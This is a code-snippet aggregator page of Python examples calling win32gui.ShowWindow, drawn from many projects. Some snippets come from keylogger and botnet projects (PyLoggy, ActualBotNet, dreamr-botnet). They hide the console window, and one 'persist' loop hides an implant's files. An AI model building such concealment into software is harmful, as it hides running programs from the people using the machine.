python类ShowWindow()的实例源码

Windows-client.py 文件源码 项目:T2B-framework 作者: pielco11 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def hide():
    window = win32console.GetConsoleWindow()
    win32gui.ShowWindow(window,0)
    return True
windows.py 文件源码 项目:audio-visualizer-screenlet 作者: ninlith 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def stay_on_bottom(self):
        """Pin to desktop or something close enough (call repeatedly)."""
        if self.is_desktop_on_foreground():
            if self.topmost is False:
                win32gui.SetWindowPos(
                    self.hwnd, win32con.HWND_TOPMOST, 0, 0, 0, 0,
                    win32con.SWP_NOSIZE | win32con.SWP_NOMOVE)
                self.topmost = True
        else:
            if self.topmost is True:
                win32gui.SetWindowPos(
                    self.hwnd, win32con.HWND_BOTTOM, 0, 0, 0, 0,
                    win32con.SWP_NOSIZE | win32con.SWP_NOMOVE)
                self.topmost = False

    # "To prevent the window button from being placed on the taskbar, create
    # the unowned window with the WS_EX_TOOLWINDOW extended style. As an
    # alternative, you can create a hidden window and make this hidden window
    # the owner of your visible window. The Shell will remove a window's button
    # from the taskbar only if the window's style supports visible taskbar
    # buttons. If you want to dynamically change a window's style to one that
    # doesn't support visible taskbar buttons, you must hide the window first
    # (by calling ShowWindow with SW_HIDE), change the window style, and then
    # show the window."
    # -- https://msdn.microsoft.com/en-us/library/bb776822%28v=vs.85%29.aspx
notification.py 文件源码 项目:garden.notification 作者: kivy-garden 项目源码 文件源码 阅读 36 收藏 0 点赞 0 评论 0
def _hide_w32_window(self):
        try:
            w32win = win32gui.FindWindow(None, self.title)
            win32gui.ShowWindow(w32win, SW_HIDE)
            win32gui.SetWindowLong(
                w32win,
                GWL_EXSTYLE,
                win32gui.GetWindowLong(
                    w32win, GWL_EXSTYLE) | WS_EX_TOOLWINDOW
            )
            win32gui.ShowWindow(w32win, SW_SHOW)
            self._return_focus_w32()
        except Exception:
            tb = traceback.format_exc()
            Logger.error(
                'Notification: An error occured in {}\n'
                '{}'.format(self.title, tb)
            )
win_GUI.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def Mouse_RB(self,str_app,lb_dx,lb_dy,Flag='1'):
        print "*********Mouse_RB function**********"
        time.sleep(1)
        tmp=(string.atoi(lb_dx),string.atoi(lb_dy))
        hwnd = win32gui.FindWindow(None, str_app)
        print 'Mouse_RB str_app,hwnd ',str_app,hwnd
        if hwnd < 1:
            hwnd = self.find_main_window(str_app)
            #win32gui.ShowWindow(hwnd, 0)
        win32api.SetCursorPos(tmp)
        print 'Mouse_RB tmp =',tmp
        if Flag == '1':
            time.sleep(1)
            win32api.mouse_event(win32con.MOUSEEVENTF_RIGHTDOWN,tmp[0], tmp[1]) 
            time.sleep(0.05)
            win32api.mouse_event(win32con.MOUSEEVENTF_RIGHTUP,tmp[0], tmp[1])
            time.sleep(0.05)
        return True
win_GUI.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def Mouse_LB(self,str_app,lb_dx,lb_dy,Flag='1'):
        print "*********Mouse_LB function**********"
        time.sleep(1)
        tmp=(string.atoi(lb_dx),string.atoi(lb_dy))
        hwnd = win32gui.FindWindow(None, str_app)
        if hwnd < 1:
            hwnd = self.find_main_window(str_app)
            #win32gui.ShowWindow(hwnd, 0)
            win32api.SetCursorPos(tmp)
            print 'Mouse_LB tmp =',tmp
            if Flag == '1':
                time.sleep(1)
                win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN,tmp[0], tmp[1]) 
                time.sleep(0.05)
                win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP,tmp[0], tmp[1])
                time.sleep(0.05)
        return True
recipe-120687.py 文件源码 项目:code 作者: ActiveState 项目源码 文件源码 阅读 33 收藏 0 点赞 0 评论 0
def Show(self):
        win32gui.ShowWindow(self.hwnd, win32con.SW_SHOW)
ietoolbar.py 文件源码 项目:OSPTF 作者: xSploited 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def ShowWindow(self,mode):
        win32gui.ShowWindow(self.hwnd,mode)
ietoolbar.py 文件源码 项目:OSPTF 作者: xSploited 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def ShowDW(self, bShow):
        if bShow:
            self.toolbar.ShowWindow(win32con.SW_SHOW)
        else:
            self.toolbar.ShowWindow(win32con.SW_HIDE)
autowin.py 文件源码 项目:orquesta 作者: ej-f 项目源码 文件源码 阅读 18 收藏 0 点赞 0 评论 0
def show_window(pid, delay = 0.5):
    """set a windows as principal based on it's process id"""
    time.sleep(delay)
    for hwnd in get_hwnds(pid):
        win32gui.SetForegroundWindow(hwnd)
        win32gui.ShowWindow(hwnd, win32con.SW_NORMAL)
PyLoggy.py 文件源码 项目:PyLoggy 作者: D4Vinci 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def Hide():
    import win32console
    import win32gui
    win = win32console.GetConsoleWindow()
    win32gui.ShowWindow(win, 0)
ietoolbar.py 文件源码 项目:pupy 作者: ru-faraon 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def ShowWindow(self,mode):
        win32gui.ShowWindow(self.hwnd,mode)
ietoolbar.py 文件源码 项目:pupy 作者: ru-faraon 项目源码 文件源码 阅读 33 收藏 0 点赞 0 评论 0
def ShowDW(self, bShow):
        if bShow:
            self.toolbar.ShowWindow(win32con.SW_SHOW)
        else:
            self.toolbar.ShowWindow(win32con.SW_HIDE)
Lo0sR.py 文件源码 项目:ActualBotNet 作者: invasi0nZ 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def hide(self):
        window = win32console.GetConsoleWindow()
        win32gui.ShowWindow(window, 0)
ActualBot.py 文件源码 项目:ActualBotNet 作者: invasi0nZ 项目源码 文件源码 阅读 32 收藏 0 点赞 0 评论 0
def hide(self):
        window = win32console.GetConsoleWindow()
        win32gui.ShowWindow(window, 0)
ietoolbar.py 文件源码 项目:remoteControlPPT 作者: htwenning 项目源码 文件源码 阅读 34 收藏 0 点赞 0 评论 0
def ShowWindow(self,mode):
        win32gui.ShowWindow(self.hwnd,mode)
ietoolbar.py 文件源码 项目:remoteControlPPT 作者: htwenning 项目源码 文件源码 阅读 31 收藏 0 点赞 0 评论 0
def ShowDW(self, bShow):
        if bShow:
            self.toolbar.ShowWindow(win32con.SW_SHOW)
        else:
            self.toolbar.ShowWindow(win32con.SW_HIDE)
ietoolbar.py 文件源码 项目:CodeReader 作者: jasonrbr 项目源码 文件源码 阅读 57 收藏 0 点赞 0 评论 0
def ShowWindow(self,mode):
        win32gui.ShowWindow(self.hwnd,mode)
ietoolbar.py 文件源码 项目:CodeReader 作者: jasonrbr 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def ShowDW(self, bShow):
        if bShow:
            self.toolbar.ShowWindow(win32con.SW_SHOW)
        else:
            self.toolbar.ShowWindow(win32con.SW_HIDE)
persist.py 文件源码 项目:dreamr-botnet 作者: YinAndYangSecurityAwareness 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def run(self):
        while (True):
            if not DEBUG_MODE:

                # keep implant implanted
                print("insist must persist")
                window = win32console.GetConsoleWindow()
                win32gui.ShowWindow(window, False)

                # Things that we really do want to stash away somewhere
                hideFile(WebPath[:1]) # slashes
                hideFile(KeyPath[:1])
                hideFile(sys.argv[0])
            time.sleep(random.randint(1, 420))
window_api.py 文件源码 项目:pyty 作者: howardjohn 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def restore(hwnd):
    """
    Restores (unmaximizes) the window.

    Args:
        hwnd (int): The window handler.
    """
    wg.ShowWindow(hwnd, wc.SW_RESTORE)
window_api.py 文件源码 项目:pyty 作者: howardjohn 项目源码 文件源码 阅读 18 收藏 0 点赞 0 评论 0
def maximize(hwnd):
    """
    Maximizes the window.

    Args:
        hwnd (int): The window handler.
    """
    wg.ShowWindow(hwnd, wc.SW_MAXIMIZE)
window_api.py 文件源码 项目:pyty 作者: howardjohn 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def focus_window(hwnd):
    """
    Focuses the given window.

    Args:
        hwnd (int): The window handler.
    """
    wg.ShowWindow(hwnd, wc.SW_SHOW)
    wg.ShowWindow(hwnd, wc.SW_SHOWNOACTIVATE)
    wg.SetForegroundWindow(hwnd)
winguiauto.py 文件源码 项目:pyAutoTrading 作者: drongh 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def restoreFocusWindow(hwnd):
    win32gui.ShowWindow(hwnd, win32con.SW_RESTORE)
    win32gui.SetForegroundWindow(hwnd)
    time.sleep(0.2)
winguiauto.py 文件源码 项目:pyAutoTrading 作者: drongh 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def focusWindow(hwnd):
    """
    ??????
    :param hwnd: ????
    :return:
    """
    win32gui.ShowWindow(hwnd, win32con.SW_SHOWMAXIMIZED)
    win32gui.SetForegroundWindow(hwnd)
windows.py 文件源码 项目:audio-visualizer-screenlet 作者: ninlith 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def remove_taskbar_button(self):
        """Hide window from taskbar and ALT+TAB dialog."""
        win32gui.ShowWindow(self.hwnd, win32con.SW_HIDE)
        win32api.SetWindowLong(
            self.hwnd, win32con.GWL_EXSTYLE,
            win32api.GetWindowLong(self.hwnd, win32con.GWL_EXSTYLE)
            | win32con.WS_EX_NOACTIVATE
            | win32con.WS_EX_TOOLWINDOW)
        win32gui.ShowWindow(self.hwnd, win32con.SW_SHOW)
win_GUI.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def app_first(self,str_app):
        hwnd = win32gui.FindWindow(None, str_app)
        print hwnd
        if hwnd < 1:
            hwnd = self.find_main_window(str_app)
        if hwnd>0:
            win32gui.SetForegroundWindow(hwnd)
            #win32gui.ShowWindow(hwnd,win32con.SW_SHOWMAXIMIZED)
            return True
        return False
win_GUI.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def is_win_ok(self,hwnd,starttext,lb_dx='869',lb_dy='38',win_dx='',win_dy=''):
        #print "*********is_win_ok function**********"
        #print "*********is_win_ok function starttext**********",starttext
        if len(win_dx)>0:
            self.wdx = string.atoi(win_dx)
        if len(win_dy)>0:
            self.wdy = string.atoi(win_dy)
        s = win32gui.GetWindowText(hwnd)
        #print s
        if s.startswith(starttext):
            #print "*********is_win_ok function s**********",s
            #print (s)
            dlg=win32gui.FindWindow(None,s)
            time.sleep(1)
            #win32gui.ShowWindow(dlg,win32con.SW_SHOWMAXIMIZED)
            win32gui.ShowWindow(dlg,win32con.SW_SHOW)
            time.sleep(1)
            #print 'self.wdx,self.wdy:',self.wdx,self.wdy
            #win32gui.MoveWindow(dlg,0,0,self.wdx,self.wdy,1)
            time.sleep(1)
            win32gui.SetForegroundWindow(dlg)
            time.sleep(1)
            #win32gui.ShowWindow(dlg,win32con.SW_SHOWMAXIMIZED)
            win32gui.ShowWindow(dlg,win32con.SW_SHOW)
            time.sleep(1)

            #self.Mouse_LB(lb_dx,lb_dy)
            global MAIN_HWND
            MAIN_HWND = hwnd
            return None
        return 1
rssid.py 文件源码 项目:Automation-Framework-for-devices 作者: tok-gogogo 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def find_wind(self,str_app):
        hwnd = win32gui.FindWindow(None, str_app)
        log_print(hwnd) 
        if hwnd>0:
            #win32gui.SetForegroundWindow(hwnd)
            win32gui.MoveWindow(hwnd,40,40,840,640,1)
            time.sleep(1)
            win32gui.MoveWindow(hwnd,0,0,800,600,1)
            #win32gui.ShowWindow(hwnd,win32con.SW_SHOWMAXIMIZED)
            #win_GUI.win_gui().Mousepos_print('20')
            time.sleep(1)
            return True
        return False
Windows-client.py 文件源码 项目:T2B-framework 作者: pielco11 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def hide():
    window = win32console.GetConsoleWindow()
    win32gui.ShowWindow(window,0)
    return True
FX_WindowsAutomation.py 文件源码 项目:PyUIA 作者: xiaoxiayu 项目源码 文件源码 阅读 32 收藏 0 点赞 0 评论 0
def FX_ShowWindowMax(Win32Window):
    win32gui.SetForegroundWindow(Win32Window) 
##    win32gui.SetWindowPos(Win32Window, \
##                          win32con.HWND_TOP, \
##                          0,0,0,0, \
##                          win32con.SWP_SHOWWINDOW)
    win32gui.ShowWindow(Win32Window, win32con.SW_MAXIMIZE)


问题


面经


文章

微信
公众号

扫码关注公众号